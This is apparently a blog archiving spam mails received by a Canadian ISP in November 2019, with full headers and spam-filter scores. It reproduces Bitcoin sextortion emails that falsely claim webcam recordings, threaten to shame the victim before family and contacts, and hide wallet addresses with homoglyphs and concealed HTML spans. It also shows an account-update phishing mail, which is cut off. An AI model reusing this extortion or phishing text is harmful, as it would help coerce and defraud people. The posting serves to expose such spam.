If you choose not to se=C9=B3d me the Bitcoin tr=CE=B1nsfer...=3Cbr=3E

I will se=C9=B3d ur m=CE=B1sturbat=CE=AFon v=CE=AFdeo to all your friends a=

nd associates from your contact lists that I downloaded from your device.=

=3CBR=3E

Your family members will receive it as well. You will regret it, trust me.

=3CBR=3E=3CBR=3E

Here are the p=CE=B1y=CA=8Dent details again:

=3C/div=3E

=3Cdiv class=3D=22b=22=3E

Se=C9=B3d 2,000 USD =3D =3Cb=3E0.2670798 BTC=3C/b=3E=3CBR=3E

to this Bitcoin address immediately:

=3CBR=3E=3CBR=3E

=3Cb=3E38h=3Cspan class=3D=22ITxRu=22=3Er=3C/span=3E=3Cspan id=3D=22woaMHSt=

h=22=3EB=3C/span=3E7=3Cspan class=3D=22n=22=3EIJF=3C/span=3EF=3Cspan class=

=3D=22JMn4CZUbqE1H=22=3EH=3C/span=3E=3Cspan class=3D=22GM4aweE=22=3Ev=3C/sp=

an=3E=3Cspan class=3D=22rd7Cz2s0=22=3E=3C/span=3EyL=3Cspan class=3D=22FJB=

=22=3E=3C/span=3EKJ=3Cspan class=3D=22n=22=3EvAcML5EIC=3C/span=3E=3Cspan id=

=3D=2206PGdJ=22=3E7=3C/span=3Eo=3Cspan class=3D=22n=22=3EuqWZcJQe=3C/span=

=3E5L=3Cspan class=3D=22n=22=3EUwaY=3C/span=3EZ8=3Cspan class=3D=22n=22=3EV=

ymQi=3C/span=3E9=3Cspan class=3D=22n=22=3EsUD=3C/span=3E=3Cspan class=3D=22=

xfnt1Yp6=22=3E=3C/span=3ES3d=3Cspan class=3D=22n=22=3EB7KQ=3C/span=3EL=3Csp=

an class=3D=22n=22=3E8m=3C/span=3E4=3Cspan class=3D=22n=22=3EiZ7=3C/span=3E=

u=3Cspan class=3D=22n=22=3ESoH5BR=3C/span=3Ey=3Cspan class=3D=22n=22=3EnFpO=

h4C1fJER=3C/span=3E5=3Cspan class=3D=22n=22=3EUONSp2foPYCL=3C/span=3EK=3Csp=

an class=3D=22u3xAyVY=22=3Eg=3C/span=3E=3Cspan id=3D=229Xij=22=3EX=3C/span=

=3E=3Cspan id=3D=22iSdLWrf1h9C3=22=3E5=3C/span=3EDP=3C/b=3E

=3CBR=3E=3CBR=3E

(Copy =26 =C7=B7=CE=B1ste address - it's case sensitive)

=3C/div=3E

=3Cdiv class=3D=22a=22=3E

=3CBR=3E

You can visit the police but they will not solve your real problem.=3CBR=3E

My program will still be installed on your device and I still will own ur m=

=CE=B1sturbat=CE=AFon v=CE=AFdeos.=3CBR=3E

Police will not catch me anyway. I know what I am doing.=3Cbr=3E

I do not live in your country and I know how to stay anonymous.

=3CBR=3E=3CBR=3E

Don't ever try to deceive me - I will know it. My program is recording all =

the websites you visit.=3CBR=3E

If you try to trick me - I will send this ugly video to everyone you know, =

including your family members.

=3CBR=3E=3CBR=3E

Don't forget the potential shame - your life can be a disaster=21

=3CBR=3E=3CBR=3E

I am waiting for your Bitcoin p=CE=B1y=CA=8Dent.=3CBR=3E

You have 72 hou=C9=BCs left.

=3CBR=3E=3CBR=3E

Anonymous Hacker

=3CBR=3E=3CBR=3E=3CBR=3E

=20

P.S. If you need more time to p=C9=91y, open your notepad on your device an=

d write '48h more'. Only this way you can contact me. I will consider givin=

g you more time before I release the video, but only when I see that you ar=

e really struggling to buy btc. I know you can afford it - so do not try to=

trick me=21

=3C/div=3E

=3C/body=3E

=3C/html=3E

--B_ALT_5ded9b605213d--

More bitcoin porn blackmail phishing

Posted by Dave Yadallee on Friday, November 29. 2019

Return-path:

Envelope-to: sales@nk.ca

Delivery-date: Fri, 29 Nov 2019 08:10:25 -0700

Received: from mx.temptress.unacceding.monster ([157.245.239.56]:54634)

by doctor.nl2k.ab.ca with esmtps (TLSv1.3:TLS_AES_256_GCM_SHA384:256)

(Exim 4.92.3 (FreeBSD))

(envelope-from )

id 1iahtr-0009BP-BP

for sales@nk.ca; Fri, 29 Nov 2019 08:10:25 -0700

Received: from mx.temptress.unacceding.monster (mx.temptress.unacceding.monster [127.0.0.1])

by mx.temptress.unacceding.monster (Postfix) with ESMTP id 47PdCK0lHlz24wh

for ; Fri, 29 Nov 2019 15:07:09 +0000 (UTC)

Authentication-Results: mx.temptress.unacceding.monster (amavisd-new);

dkim=pass (1024-bit key) reason="pass (just generated, assumed good)"

header.d=temptress.unacceding.monster

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=

temptress.unacceding.monster; h=content-type:content-type

:mime-version:message-id:x-mailer:user-agent:reply-to

:list-unsubscribe:subject:subject:to:from:from:date:date; s=

dkim; t=1575040028; x=1577632029; bh=NnhPEGPoWgWFvOWGll87sinOsrW

7RA33cCLhG9DX2Yw=; b=V7Up5W+8gcT8PgfpDEMqoD9f0+JAVxUg6iR/wWIB7iJ

13RSWLOw6AH1IudXjlO6aWCe0TK/3Tev8iJDw42U3/nvDxTEjNnT9eOneX2vC53v

qexc4P39LsPG1sM4qiN6o+8RN/8/auP8sZch2bOydJHDASeOsQEChCrs3DAJlkg8

=

X-Virus-Scanned: Debian amavisd-new at mx.temptress.unacceding.monster

Received: from mx.temptress.unacceding.monster ([127.0.0.1])

by mx.temptress.unacceding.monster (mx.temptress.unacceding.monster [127.0.0.1]) (amavisd-new, port 10024)

with ESMTP id JG-r5lUrTJin for ;

Fri, 29 Nov 2019 15:07:08 +0000 (UTC)

Received: from [127.0.0.1] (mx.temptress.unacceding.monster [127.0.0.1])

by mx.temptress.unacceding.monster (Postfix) with ESMTP id 47Pd164RSvz22v2

for ; Fri, 29 Nov 2019 14:58:18 +0000 (UTC)

Date: Fri, 29 Nov 2019 14:58:17 +0000

From: "Anonymous Hacker"

To: sales@nk.ca

Subject: =?UTF-8?Q?IMPORTANT!=20I=20recorded=20YOU=20m=C9=91sturbating!=20I=20hav?= =?UTF-8?Q?e=20Sales.mp4=20video=20file!?=

List-Unsubscribe:

Reply-To:

User-Agent: CodeIgniter

X-Sender: rossana-tracy@temptress.unacceding.monster

X-Mailer: CodeIgniter

X-Priority: 3 (Normal)

Message-ID: <5de1320a57d14@temptress.unacceding.monster>

Mime-Version: 1.0

Content-Type: multipart/alternative; boundary="B_ALT_5de1320a57d39"

X-Spam_score: 10.0

X-Spam_score_int: 100

X-Spam_bar: ++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.

Content preview: ATTENTION: sales@nk.ca The last time you visited a porn website

with teenagers, you silently downloaded and installed the software I developed.

My software has turned on your camera and recorded both your screen and an

act of your mÉ‘sturbation..

Content analysis details: (10.0 points, 5.0 required)

pts rule name description

---- ---------------------- --------------------------------------------------

0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was

blocked. See

http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block

for more information.

[URIs: nk.ca]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[157.245.239.56 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in

dnsbl.ahbl.org

-0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay

domain

0.0 T_SPF_TEMPERROR SPF: test of record failed (temperror)

0.3 LONGWORD BODY: Uses overlong words

0.6 MEGALONGWORD BODY: Uses really overlong words

1.1 TRACKER_ID BODY: Incorporates a tracking ID number

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

1.5 IMPRONONCABLE_2 Too much mixed numbers and lower-case letters

2.5 HTML_SINGLET_MANY Many single-letter HTML format blocks

Subject: {SPAM?} =?UTF-8?Q?IMPORTANT!=20I=20recorded=20YOU=20m=C9=91sturbating!=20I=20hav?= =?UTF-8?Q?e=20Sales.mp4=20video=20file!?=

X-Antivirus: AVG (VPS 191128-0, 11/28/2019), Inbound message

X-Antivirus-Status: Clean

This is a multi-part message in MIME format.

Your email application may not support this format.

--B_ALT_5de1320a57d39

Content-Type: text/plain; charset=UTF-8

Content-Transfer-Encoding: 8bit

ATTENTION: sales@nk.ca

The last time you visited a porn website with teenagers, you silently

downloaded and installed the software I developed.

My software has turned on your camera and recorded both your screen and an

act of your mÉ‘sturbation..

My sneaky program also downloaded all your email contact lists and a list of

your friends from social networks.

I have the - Sales.mp4 video file - with you jerking off to teenagers, as

well as a file with your relatives and associates email addresses.

After downloading those files let me say one thing: your fantasies are far

beyond the normal!

If you want me to delete both files and keep your secret, you must send me

the Bitcoin payment.

Bitcoin is a secure cryptocurrency, very similar to BTC.

I give you 72 houÉ¼s only to send the Bitcoin transfer.

If you don't know how to pay with Bitcoin, visit Google and search - how to

buy Bitcoin.

Visit one of the brokers (Coinbase, Bitstamp, anycoindirect), buy Bitcoin

and send it to my address.

Only then I will leÉ‘ve you É‘lone!

At anycoindirect you can pay instantly with SEPA, Giropay, EPS, Mybank,

Sofort, credit cards or Bancontract.

******************************************

Send 2,000 USD = 0.271085 BTC

to this Bitcoin address as soon as possible:

34b4QdPbn8qHT6KGb

989YDid433cq3Nkfp

(copy & paste - it's case sensitive - and combine both lines into one single

address)

1 BTC = 7,530 USD right now, so send exactly 0.271085 BTC to my Bitcoin

wallet.

******************************************

Do not try to cheat me!

As soon as you open this Email I will be notified you opened it.

I am monitoring all actions on your device..

This Bitcoin address is linked to you only, so I will know immediately when

you send the correct amount.

When you pay in full, I will remove both files (your mÉ‘sturbation video and

your contact lists) and I will deactivate my sneaky program.

Changing your password will not help you, I will still have access to your

device remotely.

If you choose not to send me the Bitcoin transfer...

I will send your mÉ‘sturbation video to all your friends and associates from

your contact lists that I downloaded from your device.

Your family members will receive it as well. You will regret it, trust me.

Here are the payment details again:

******************************************

Send 2,000 USD = 0.271085 BTC

to this Bitcoin address as soon as possible:

34b4QdPbn8qHT6KGb

989YDid433cq3Nkfp

(copy & paste - it's case sensitive - and combine both lines into one single

address)

******************************************

You can visit police but they will not help you with solving the problem.

My program will still be installed on your device and I still will own your

mÉ‘sturbation videos.

Police will not catch me anyway. I know what I am doing.

I do not live in your country and I know how to stay anonymous.

Don't ever try to deceive me - I will know it. My program is recording all

the websites you visit and all your key presses.

If you try to trick me - I will send this ugly video to everyone you know,

including your family members.

Don't forget the potential shame - your life can be a disaster.

I am waiting for your Bitcoin payment.

You have 72 houÉ¼s left.

Anonymous Hacker

--B_ALT_5de1320a57d39

Content-Type: text/html; charset=UTF-8

Content-Transfer-Encoding: quoted-printable

=3C=21DOCTYPE HTML PUBLIC =22-//W3C//DTD XHTML 1.0 Transitional //EN=22 =22=

http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd=22=3E

=3Chtml xmlns=3D=22http://www.w3.org/1999/xhtml=22 xmlns:v=3D=22urn:schemas=

-microsoft-com:vml=22 xmlns:o=3D=22urn:schemas-microsoft-com:office:office=

=22=3E

=3Chead=3E

=3Cmeta http-equiv=3D=22Content-Type=22 content=3D=22text/html=3B charset=

=3Dutf-8=22=3E

=3Cmeta name=3D=22viewport=22 content=3D=22width=3Ddevice-width=22=3E

=3C=21--=5Bif =21mso=5D=3E=3C=21--=3E=3Cmeta http-equiv=3D=22X-UA-Compatibl=

e=22 content=3D=22IE=3Dedge=22=3E=3C=21--=3C=21=5Bendif=5D--=3E

=3C=21--=5Bif =21mso=5D=3E=3C=21-- --=3E

=3Clink href=3D=22https://fonts.googleapis.com/css?family=3DBitter=22 rel=

=3D=22stylesheet=22 type=3D=22text/css=22=3E

=3Clink href=3D=22https://fonts.googleapis.com/css?family=3DOpen+Sans=22 re=

l=3D=22stylesheet=22 type=3D=22text/css=22=3E

=3C=21--=3C=21=5Bendif=5D--=3E

=3Cstyle type=3D=22text/css=22 id=3D=22media-query=22=3E

body =7B

margin: 0=3B

padding: 0=3B =7D

table, tr, td =7B

vertical-align: top=3B

border-collapse: collapse=3B =7D

.a =7B

max-width: 480px=3B

margin: 10px 10px 10px 10px=3B

=20

=7D

.n =7B

display:none=3B

=7D

.b =7B

max-width: 480px=3B

margin: 10px 10px 10px 10px=3B

padding: 10px 20px 10px 20px=3B

border: 1px solid black=3B

=20

=7D

=3C/style=3E

=3C/head=3E

=3Cbody style=3D=22margin: 0=3Bpadding: 0=3B-webkit-text-size-adjust: 100=

=25=3Bbackground-color: =23FFFFFF=22=3E

=20

=3Cdiv class=3D=22a=22=3E=3Cb=3EATTENTION: sales=40nk.ca=3C/b=3E=3C/div=3E

=3Cdiv class=3D=22a=22=3E

The last time you visited a porn website with teenagers, you silently downl=

oaded and installed the software I developed.

=3CBR=3E=3CBR=3E

My software has turned on your camera and =3Cb=3Erecorded both your screen =

and the act of your m=C9=91sturbation..=3C/b=3E

=3CBR=3E=3CBR=3E

My sneaky program also downloaded all your email contact lists and a list o=

f your friends from social networks.

=3CBR=3E=3CBR=3E

I have the - =3Cb=3ESales.mp4 video file=3C/b=3E - with you jerking off to =

teenagers, as well as a file with your relatives and associates email addre=

sses.

=3CBR=3E=3CBR=3E

After downloading those files let me say one thing: your fantasies are far =

beyond the normal=21

=3C/div=3E=20

=3Cdiv class=3D=22a=22=3E

If you want me to delete both files and keep your secret, you must send me =

the Bitcoin (BTC) payment.=3CBR=3E

I give you 72 hou=C9=BCs only to send the Bitcoin transfer.

=3CBR=3E=3CBR=3E

If you don't know how to pay with Bitcoin, visit Google and search - how to=

buy Bitcoin (BTC).=3CBR=3E

Visit one of the brokers (Coinbase, Bitstamp, anycoindirect), buy Bitcoin a=

nd send it to my address.=3CBR=3E

Only then I will le=C9=91ve you =C9=91lone=21

=3CBR=3E=3CBR=3E

At anycoindirect you can buy Bitcoin instantly with SEPA, Giropay, EPS, Myb=

ank, Sofort, credit cards or Bancontract.

=3CBR=3E=3CBR=3E

Here are the payment details:

=3C/div=3E

=3Cdiv class=3D=22b=22=3E

Send 2,000 USD =3D =3Cb=3E0.271085 BTC=3C/b=3E=3CBR=3E

to this Bitcoin address as soon as possible:

=3CBR=3E=3CBR=3E

=3Cb=3E=3Cspan class=3D=22l0m5owXTkcN=22=3E3=3C/span=3E4=3Cspan class=3D=22=

n=22=3EYQx0p=3C/span=3E=3Cspan id=3D=22ZNGFiACfhw=22=3Eb=3C/span=3E4=3Cspan=

class=3D=22PuIAk=22=3EQ=3C/span=3E=3Cspan class=3D=22eDST8=22=3E=3C/span=

=3EdP=3Cspan class=3D=22n=22=3EFGkc84TXdQj=3C/span=3E=3Cspan class=3D=22sfd=

KvUgVX23p=22=3E=3C/span=3Eb=3Cspan id=3D=22lR6vnf1q7KgJ=22=3En=3C/span=3E8=

=3Cspan class=3D=22n=22=3EKwLez=3C/span=3Eq=3Cspan class=3D=221BwxA=22=3EH=

=3C/span=3E=3Cspan class=3D=22IZq24COQEh=22=3ET=3C/span=3E=3Cspan class=3D=

=22xcr9=22=3E=3C/span=3E6K=3Cspan class=3D=22n=22=3EGdpvwMbZ=3C/span=3E=3Cs=

pan class=3D=226BkR81GUDz=22=3E=3C/span=3EG=3Cspan class=3D=22M6LlJ=22=3E=

=3C/span=3Eb=3Cspan id=3D=22J1AZE9=22=3E9=3C/span=3E=3Cspan id=3D=22vi8hjIS=

=22=3E8=3C/span=3E=3Cspan class=3D=22liV4ZK6=22=3E9=3C/span=3EY=3Cspan clas=

s=3D=22n=22=3EzoepY0wumt8P=3C/span=3E=3Cspan id=3D=22awOBFtdZ=22=3ED=3C/spa=

n=3E=3Cspan class=3D=22kJ7FNx5R=22=3Ei=3C/span=3E=3Cspan id=3D=22hzD8=22=3E=

d=3C/span=3E=3Cspan id=3D=22OiCqt3l=22=3E4=3C/span=3E3=3Cspan class=3D=22bM=

v0ZcL3YmX=22=3E=3C/span=3E3=3Cspan class=3D=22sqe=22=3Ec=3C/span=3E=3Cspan =

class=3D=22Uxw7igpJNl=22=3E=3C/span=3Eq=3Cspan class=3D=22afE=22=3E3=3C/spa=

n=3EN=3Cspan class=3D=22n=22=3Ea=3C/span=3Ek=3Cspan class=3D=22n=22=3ETn=3C=

/span=3E=3Cspan class=3D=22xa4A0Re=22=3E=3C/span=3Ef=3Cspan id=3D=22clR3gOJ=

F6su=22=3Ep=3C/span=3E=3C/b=3E

=3CBR=3E=3CBR=3E

(copy =26 paste address - it's case sensitive)

=3C/div=3E

=3Cdiv class=3D=22a=22=3E

1 BTC =3D 7,530 USD right now, so send exactly 0.271085 BTC to my Bitcoin w=

allet.

=3CBR=3E=3CBR=3E=3CBR=3E

Do not try to cheat me=21=3CBR=3E

As soon as you open this Email I will be notified you opened it.=3CBR=3E

I am monitoring all actions on your device..

=3CBR=3E=3CBR=3E

This Bitcoin address is linked to you only, so I will know immediately when=

you send the correct amount.=3CBR=3E

When you pay in full, I will remove both files (=3Cb=3Eyour m=C9=91sturbati=

on video and your contact lists=3C/b=3E) and I will deactivate my sneaky pr=

ogram.=3CBR=3E

Changing your password will not help you, I will still have access to your =

device remotely.

=3CBR=3E=3CBR=3E

If you choose not to send me the Bitcoin transfer...=3Cbr=3E

I will send your m=C9=91sturbation video to all your friends and associates=

from your contact lists that I downloaded from your device.=3CBR=3E

Your family members will receive it as well. You will regret it, trust me.

=3CBR=3E=3CBR=3E

Here are the payment details again:

=3C/div=3E

=3Cdiv class=3D=22b=22=3E

Send 2,000 USD =3D =3Cb=3E0.271085 BTC=3C/b=3E=3CBR=3E

to this Bitcoin address as soon as possible:

=3CBR=3E=3CBR=3E

=3Cb=3E=3Cspan class=3D=22l0m5owXTkcN=22=3E3=3C/span=3E4=3Cspan class=3D=22=

n=22=3EYQx0p=3C/span=3E=3Cspan id=3D=22ZNGFiACfhw=22=3Eb=3C/span=3E4=3Cspan=

class=3D=22PuIAk=22=3EQ=3C/span=3E=3Cspan class=3D=22eDST8=22=3E=3C/span=

=3EdP=3Cspan class=3D=22n=22=3EFGkc84TXdQj=3C/span=3E=3Cspan class=3D=22sfd=

KvUgVX23p=22=3E=3C/span=3Eb=3Cspan id=3D=22lR6vnf1q7KgJ=22=3En=3C/span=3E8=

=3Cspan class=3D=22n=22=3EKwLez=3C/span=3Eq=3Cspan class=3D=221BwxA=22=3EH=

=3C/span=3E=3Cspan class=3D=22IZq24COQEh=22=3ET=3C/span=3E=3Cspan class=3D=

=22xcr9=22=3E=3C/span=3E6K=3Cspan class=3D=22n=22=3EGdpvwMbZ=3C/span=3E=3Cs=

pan class=3D=226BkR81GUDz=22=3E=3C/span=3EG=3Cspan class=3D=22M6LlJ=22=3E=

=3C/span=3Eb=3Cspan id=3D=22J1AZE9=22=3E9=3C/span=3E=3Cspan id=3D=22vi8hjIS=

=22=3E8=3C/span=3E=3Cspan class=3D=22liV4ZK6=22=3E9=3C/span=3EY=3Cspan clas=

s=3D=22n=22=3EzoepY0wumt8P=3C/span=3E=3Cspan id=3D=22awOBFtdZ=22=3ED=3C/spa=

n=3E=3Cspan class=3D=22kJ7FNx5R=22=3Ei=3C/span=3E=3Cspan id=3D=22hzD8=22=3E=

d=3C/span=3E=3Cspan id=3D=22OiCqt3l=22=3E4=3C/span=3E3=3Cspan class=3D=22bM=

v0ZcL3YmX=22=3E=3C/span=3E3=3Cspan class=3D=22sqe=22=3Ec=3C/span=3E=3Cspan =

class=3D=22Uxw7igpJNl=22=3E=3C/span=3Eq=3Cspan class=3D=22afE=22=3E3=3C/spa=

n=3EN=3Cspan class=3D=22n=22=3Ea=3C/span=3Ek=3Cspan class=3D=22n=22=3ETn=3C=

/span=3E=3Cspan class=3D=22xa4A0Re=22=3E=3C/span=3Ef=3Cspan id=3D=22clR3gOJ=

F6su=22=3Ep=3C/span=3E=3C/b=3E

=3CBR=3E=3CBR=3E

(copy =26 paste address - it's case sensitive)

=3C/div=3E

=3Cdiv class=3D=22a=22=3E

=3CBR=3E

You can visit the police but they will not solve your real problem.=3CBR=3E

My program will still be installed on your device and I still will own your=

m=C9=91sturbation videos.=3CBR=3E

Police will not catch me anyway. I know what I am doing.

I do not live in your country and I know how to stay anonymous.

=3CBR=3E=3CBR=3E

Don't ever try to deceive me - I will know it. My program is recording all =

the websites you visit and all your key presses.

If you try to trick me - I will send this ugly video to everyone you know, =

including your family members.

=3CBR=3E=3CBR=3E

Don't forget the potential shame - your life can be a disaster=21

=3CBR=3E=3CBR=3E

I am waiting for your Bitcoin payment.=3CBR=3E

You have 72 hou=C9=BCs left.

=3CBR=3E=3CBR=3E

Anonymous Hacker

=3CBR=3E=3CBR=3E=3CBR=3E

=20

P.S. If you need more time to p=C9=91y, open your notepad on your device an=

d write '48h more'. Only this way you can contact me. I will consider givin=

g you more time before I release the video, but only when I see that you ar=

e really struggling to buy btc. I know you can afford it - so do not try to=

trick me=21

=3C/div=3E

=3C/body=3E

=3C/html=3E

--B_ALT_5de1320a57d39--

More bitcoin porn blackmail phishing

Posted by Dave Yadallee on Thursday, November 21. 2019

Return-path:

Envelope-to: sales@nk.ca

Delivery-date: Thu, 21 Nov 2019 01:12:31 -0700

Received: from [88.200.188.43] (port=11483)

by doctor.nl2k.ab.ca with esmtp (Exim 4.92.3 (FreeBSD))

(envelope-from )

id 1iXhZh-000PhL-9h

for sales@nk.ca; Thu, 21 Nov 2019 01:12:31 -0700

Message-ID: <444B3552013A2C6669177023180A9354@YDX9W0AUV>

From:

To:

Subject: How is your wanking? I really advise you to read this email, just to make sure not a thing could occur

Date: 21 Nov 2019 14:56:40 +0300

MIME-Version: 1.0

Content-Type: text/plain;

charset="ibm852"

Content-Transfer-Encoding: 8bit

X-Priority: 3

X-MSMail-Priority: Normal

X-Mailer: Microsoft Windows Live Mail 15.4.3508.1109

X-MimeOLE: Produced By Microsoft MimeOLE V15.4.3508.1109

X-Spam_score: 23.7

X-Spam_score_int: 237

X-Spam_bar: +++++++++++++++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.

Content preview: Hello! I have very bad news for you. 21/07/2019 - on this

day I hacked your OS and got full access to your account sales@nk.ca So, you

can change the password, yes... But my malware intercepts it every time.

Content analysis details: (23.7 points, 5.0 required)

pts rule name description

---- ---------------------- --------------------------------------------------

0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was

blocked. See

http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block

for more information.

[URIs: nk.ca]

1.5 RCVD_IN_CBL RBL: Received via a relay in cbl.abuseat.org

[Blocked - see ]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[88.200.188.43 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in

dnsbl.ahbl.org

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

1.0 RCVD_IN_WSFF RBL: Received via a relay in

will-spam-for-food.eu.org

[88.200.188.43 listed in will-spam-for-food.eu.org]

1.6 RCVD_IN_BRBL_LASTEXT RBL: No description available.

[88.200.188.43 listed in bb.barracudacentral.org]

2.4 DATE_IN_FUTURE_03_06 Date: is 3 to 6 hours after Received: date

0.3 LONGWORD BODY: Uses overlong words

1.5 BITCOIN_SPAM_09 BitCoin spam pattern 09

2.5 BITCOIN_EXTORT_01 Extortion spam, pay via BitCoin

3.5 HDR_ORDER_FTSDMCXX_NORDNS Header order similar to spam

(FTSDMCXX/boundary variant) + no rDNS

1.3 RDNS_NONE Delivered to internal network by a host with no rDNS

2.0 HDR_ORDER_FTSDMCXX_DIRECT Header order similar to spam

(FTSDMCXX/boundary variant) + direct-to-MX

2.0 MIMEOLE_DIRECT_TO_MX MIMEOLE + direct-to-MX

Subject: {SPAM?} How is your wanking? I really advise you to read this email, just to make sure not a thing could occur

X-Antivirus: AVG (VPS 191119-0, 11/19/2019), Inbound message

X-Antivirus-Status: Clean

Hello!

I have very bad news for you.

21/07/2019 - on this day I hacked your OS and got full access to your account sales@nk.ca

So, you can change the password, yes... But my malware intercepts it every time.

How I made it:

In the software of the router, through which you went online, was a vulnerability.

I just hacked this router and placed my malicious code on it.

When you went online, my trojan was installed on the OS of your device.

After that, I made a full dump of your disk (I have all your address book, history of viewing sites, all files, phone numbers and addresses of all your contacts).

A month ago, I wanted to lock your device and ask for a not big amount of btc to unlock.

But I looked at the sites that you regularly visit, and I was shocked by what I saw!!!

I'm talk you about sites for adults.

I want to say - you are a BIG pervert. Your fantasy is shifted far away from the normal course!

And I got an idea....

I made a screenshot of the adult sites where you have fun (do you understand what it is about, huh?).

After that, I made a screenshot of your joys (using the camera of your device) and glued them together.

Turned out amazing! You are so spectacular!

I'm know that you would not like to show these screenshots to your friends, relatives or colleagues.

I think $866 is a very, very small amount for my silence.

Besides, I have been spying on you for so long, having spent a lot of time!

Pay ONLY in Bitcoins!

My BTC wallet: 1QKG5uTDq1GU8iNYqycitEL9dv9dctoQsV

You do not know how to use bitcoins?

Enter a query in any search engine: "how to replenish btc wallet".

It's extremely easy

For this payment I give you two days (48 hours).

As soon as this letter is opened, the timer will work.

After payment, my virus and dirty screenshots with your enjoys will be self-destruct automatically.

If I do not receive from you the specified amount, then your device will be locked, and all your contacts will receive a screenshots with your "enjoys".

I hope you understand your situation.

- Do not try to find and destroy my virus! (All your data, files and screenshots is already uploaded to a remote server)

- Do not try to contact me (this is impossible, sender's address was randomly generated)

- Various security services will not help you; formatting a disk or destroying a device will not help, since your data is already on a remote server.

P.S. You are not my single victim. so, I guarantee you that I will not disturb you again after payment!

This is the word of honor hacker

I also ask you to regularly update your antiviruses in the future. This way you will no longer fall into a similar situation.

Do not hold evil! I just do my job.

Have a nice day!

Phishing against NetKnow

Posted by Dave Yadallee on Monday, November 11. 2019

Return-path:

Envelope-to: aboo@doctor.nl2k.ab.ca

Delivery-date: Sun, 10 Nov 2019 17:41:25 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.92.3 (FreeBSD))

(envelope-from )

id 1iTxll-000G9k-Nu

for aboo@doctor.nl2k.ab.ca; Sun, 10 Nov 2019 17:41:25 -0700

Resent-From: The Doctor

Resent-Date: Sun, 10 Nov 2019 17:41:25 -0700

Resent-Message-ID: <20191111004125.GA45628@doctor.nl2k.ab.ca>

Resent-To: See root

Received: from ratenewsworld.top ([202.75.32.105]:41321)

by doctor.nl2k.ab.ca with esmtps (TLSv1.2:ECDHE-RSA-AES256-GCM-SHA384:256)

(Exim 4.92.3 (FreeBSD))

(envelope-from )

id 1iTxVc-000A08-DA

for root@nk.ca; Sun, 10 Nov 2019 17:24:49 -0700

DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=default; d=ratenewsworld.top;

h=From:To:Subject:Date:Message-ID:MIME-Version:Content-Type:Content-Transfer-Encoding; i=mailer@ratenewsworld.top;

bh=n/MDyQtWceD5BilYzKFrKCjdOU4=;

b=HnrCi1apONoRiDdpDaan0Jh9+2upKmOuj2xHPbMTo3D9e4QgvA73mRPvD8WuC3ltAoxTcFMeBIHQ

Qk2ChlApbUCzYAjoS518Y437oZt/Lby7liOauX42ncSUSOW5Xta4OqCbB6/iNp7MHO1FbJReidyB

1qMrzQjrhivibF2Bjf8=

DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=default; d=ratenewsworld.top;

b=fP0rsRtX6rFaD4r5y9Udyr/7fwSxjFZpdoelZqRLnGnrGB7eUxHJQZajsjlUcamqwiuJz7kNfiEq

9LG9BS3FJiKTtTloEfJUGFF8B9eCbkNuF8p88xfwjfLmOOGTlrI1kKl/xOij5m9A7JJ+XYUrQqm/

FHUD63pt7HP4XoWdpm0=;

From: mailer@ratenewsworld.top

To: root@nk.ca

Subject: Fwd: TOP UR RecipientsGENT !Important Notice for root@nk.ca from nk.ca [Do not ignore]

Date: 11 Nov 2019 00:23:51 +0000

Message-ID: <20191111002351.D0A2B6F8382B3E5F@ratenewsworld.top>

MIME-Version: 1.0

Content-Type: text/html

Content-Transfer-Encoding: quoted-printable

X-Antivirus: AVG (VPS 191110-0, 11/10/2019), Inbound message

X-Antivirus-Status: Clean

ize=3D"6">Notice!

line-height: 18px; font-weight: normal; -ms-word-break: normal;">
or=3D"#444444" face=3D"tahoma, sans-serif">
nherit;">Hello root<=

/font>

ze: 15px; font-weight: normal; -ms-word-break: normal;">

-align: inherit;">Your

Account requires important update to function properly. Click below to=20

update your Account in order to avoid Account malfunction.
ont>

gb(102, 102, 102); line-height: 16px; font-size: 14px; font-weight: normal;=

-ms-word-break: normal;">

id=3D"m_-2544334299948981166m_4520038570240966649m_701703772982154513m_-782=

5087543061203130m_8280889304328797776m_5422947516400100176m_-57152425979865=

2214m_7964590498946302310m_2122810532948043500m_-523979154821070698gmail-m_=

7785965586539335042m_-7997245326541989544m_-1243167869145553425gmail-m_-522=

9320424136402782m_-6451464831022065316m_2263091544788550642m_85967855029990=

85871m_-481391402982801415m_5075715864890026910m_6216190667053222976m_23809=

86249653776223m_4636584753630615168m_-55075169758967

60953m_-8201539346495642633m_-8550329805786918302m_-6149302203830696269m_59=

116099161549944m_-5859514291455634957gmail-m_-5017152045967571449m_-5236414=

